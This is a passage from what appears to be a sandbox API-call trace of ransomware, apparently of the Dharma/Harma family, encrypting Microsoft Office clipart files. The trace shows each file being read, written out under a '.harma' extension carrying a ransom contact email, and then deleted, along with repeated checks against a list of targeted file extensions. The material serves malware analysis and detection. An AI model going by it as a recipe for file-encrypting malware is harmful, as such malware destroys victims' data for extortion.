lpOverlapped=0x0) returned 1 [0143.407] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.407] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.407] SetEndOfFile (hFile=0x33c) returned 1 [0143.407] CloseHandle (hObject=0x33c) returned 1 [0143.408] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.408] SetEndOfFile (hFile=0x368) returned 1 [0143.539] CloseHandle (hObject=0x368) returned 1 [0143.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0143.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.541] lstrlenW (lpString=".doc") returned 4 [0143.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.541] lstrlenW (lpString=".docx") returned 5 [0143.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.541] lstrlenW (lpString=".pdf") returned 4 [0143.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.541] lstrlenW (lpString=".xls") returned 4 [0143.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.541] lstrlenW (lpString=".xlsx") returned 5 [0143.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.541] lstrlenW (lpString=".ppt") returned 4 [0143.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.541] lstrlenW (lpString=".zip") returned 4 [0143.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.541] lstrlenW (lpString=".rar") returned 4 [0143.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.542] lstrlenW (lpString=".bz2") returned 4 [0143.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.542] lstrlenW (lpString=".7z") returned 3 [0143.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.542] lstrlenW (lpString=".dbf") returned 4 [0143.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.542] lstrlenW (lpString=".1cd") returned 4 [0143.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.542] lstrlenW (lpString=".jpg") returned 4 [0143.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.542] lstrlenW (lpString=".doc") returned 4 [0143.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.542] lstrlenW (lpString=".docx") returned 5 [0143.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.542] lstrlenW (lpString=".pdf") returned 4 [0143.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.542] lstrlenW (lpString=".xls") returned 4 [0143.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.542] lstrlenW (lpString=".xlsx") returned 5 [0143.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.542] lstrlenW (lpString=".ppt") returned 4 [0143.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.542] lstrlenW (lpString=".zip") returned 4 [0143.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.543] lstrlenW (lpString=".rar") returned 4 [0143.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.543] lstrlenW (lpString=".bz2") returned 4 [0143.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.543] lstrlenW (lpString=".7z") returned 3 [0143.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.543] lstrlenW (lpString=".dbf") returned 4 [0143.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.543] lstrlenW (lpString=".1cd") returned 4 [0143.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0143.543] lstrlenW (lpString=".jpg") returned 4 [0143.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.543] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.543] lstrlenW (lpString="BD07804_.WMF") returned 12 [0143.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.544] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=4924) returned 1 [0143.544] CloseHandle (hObject=0x368) returned 1 [0143.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0143.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.544] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.544] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.545] GetLastError () returned 0x0 [0143.545] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x133c, lpOverlapped=0x0) returned 1 [0143.547] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1340, lpOverlapped=0x0) returned 1 [0143.548] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.548] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.548] SetEndOfFile (hFile=0x328) returned 1 [0143.548] CloseHandle (hObject=0x328) returned 1 [0143.548] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.548] SetEndOfFile (hFile=0x368) returned 1 [0143.559] CloseHandle (hObject=0x368) returned 1 [0143.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0143.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.560] lstrlenW (lpString=".doc") returned 4 [0143.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.560] lstrlenW (lpString=".docx") returned 5 [0143.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.561] lstrlenW (lpString=".pdf") returned 4 [0143.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.561] lstrlenW (lpString=".xls") returned 4 [0143.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.561] lstrlenW (lpString=".xlsx") returned 5 [0143.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.561] lstrlenW (lpString=".ppt") returned 4 [0143.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.561] lstrlenW (lpString=".zip") returned 4 [0143.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.561] lstrlenW (lpString=".rar") returned 4 [0143.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.561] lstrlenW (lpString=".bz2") returned 4 [0143.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.561] lstrlenW (lpString=".7z") returned 3 [0143.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.561] lstrlenW (lpString=".dbf") returned 4 [0143.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.561] lstrlenW (lpString=".1cd") returned 4 [0143.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.561] lstrlenW (lpString=".jpg") returned 4 [0143.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.561] lstrlenW (lpString=".doc") returned 4 [0143.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.562] lstrlenW (lpString=".docx") returned 5 [0143.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.562] lstrlenW (lpString=".pdf") returned 4 [0143.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.562] lstrlenW (lpString=".xls") returned 4 [0143.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.562] lstrlenW (lpString=".xlsx") returned 5 [0143.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.562] lstrlenW (lpString=".ppt") returned 4 [0143.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.562] lstrlenW (lpString=".zip") returned 4 [0143.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.562] lstrlenW (lpString=".rar") returned 4 [0143.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.562] lstrlenW (lpString=".bz2") returned 4 [0143.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.562] lstrlenW (lpString=".7z") returned 3 [0143.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.562] lstrlenW (lpString=".dbf") returned 4 [0143.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.562] lstrlenW (lpString=".1cd") returned 4 [0143.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0143.562] lstrlenW (lpString=".jpg") returned 4 [0143.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.563] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.563] lstrlenW (lpString="BD07831_.WMF") returned 12 [0143.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.564] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=4066) returned 1 [0143.564] CloseHandle (hObject=0x368) returned 1 [0143.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0143.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.564] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.564] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.565] GetLastError () returned 0x0 [0143.565] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xfe2, lpOverlapped=0x0) returned 1 [0143.567] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xff0, lpOverlapped=0x0) returned 1 [0143.568] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.568] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.568] SetEndOfFile (hFile=0x328) returned 1 [0143.568] CloseHandle (hObject=0x328) returned 1 [0143.568] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.569] SetEndOfFile (hFile=0x368) returned 1 [0143.571] CloseHandle (hObject=0x368) returned 1 [0143.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0143.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.572] lstrlenW (lpString=".doc") returned 4 [0143.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.572] lstrlenW (lpString=".docx") returned 5 [0143.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.573] lstrlenW (lpString=".pdf") returned 4 [0143.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.573] lstrlenW (lpString=".xls") returned 4 [0143.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.573] lstrlenW (lpString=".xlsx") returned 5 [0143.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.573] lstrlenW (lpString=".ppt") returned 4 [0143.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.573] lstrlenW (lpString=".zip") returned 4 [0143.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.573] lstrlenW (lpString=".rar") returned 4 [0143.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.573] lstrlenW (lpString=".bz2") returned 4 [0143.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.573] lstrlenW (lpString=".7z") returned 3 [0143.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.573] lstrlenW (lpString=".dbf") returned 4 [0143.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.573] lstrlenW (lpString=".1cd") returned 4 [0143.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.573] lstrlenW (lpString=".jpg") returned 4 [0143.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.574] lstrlenW (lpString=".doc") returned 4 [0143.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.574] lstrlenW (lpString=".docx") returned 5 [0143.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.574] lstrlenW (lpString=".pdf") returned 4 [0143.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.574] lstrlenW (lpString=".xls") returned 4 [0143.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.574] lstrlenW (lpString=".xlsx") returned 5 [0143.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.574] lstrlenW (lpString=".ppt") returned 4 [0143.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.574] lstrlenW (lpString=".zip") returned 4 [0143.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.574] lstrlenW (lpString=".rar") returned 4 [0143.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.574] lstrlenW (lpString=".bz2") returned 4 [0143.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.574] lstrlenW (lpString=".7z") returned 3 [0143.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.574] lstrlenW (lpString=".dbf") returned 4 [0143.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.574] lstrlenW (lpString=".1cd") returned 4 [0143.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0143.574] lstrlenW (lpString=".jpg") returned 4 [0143.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.575] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.575] lstrlenW (lpString="BD08758_.WMF") returned 12 [0143.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.575] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=24320) returned 1 [0143.575] CloseHandle (hObject=0x368) returned 1 [0143.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0143.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.576] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.576] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.576] GetLastError () returned 0x0 [0143.576] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x5f00, lpOverlapped=0x0) returned 1 [0143.580] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0143.582] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.582] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.582] SetEndOfFile (hFile=0x328) returned 1 [0143.582] CloseHandle (hObject=0x328) returned 1 [0143.582] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 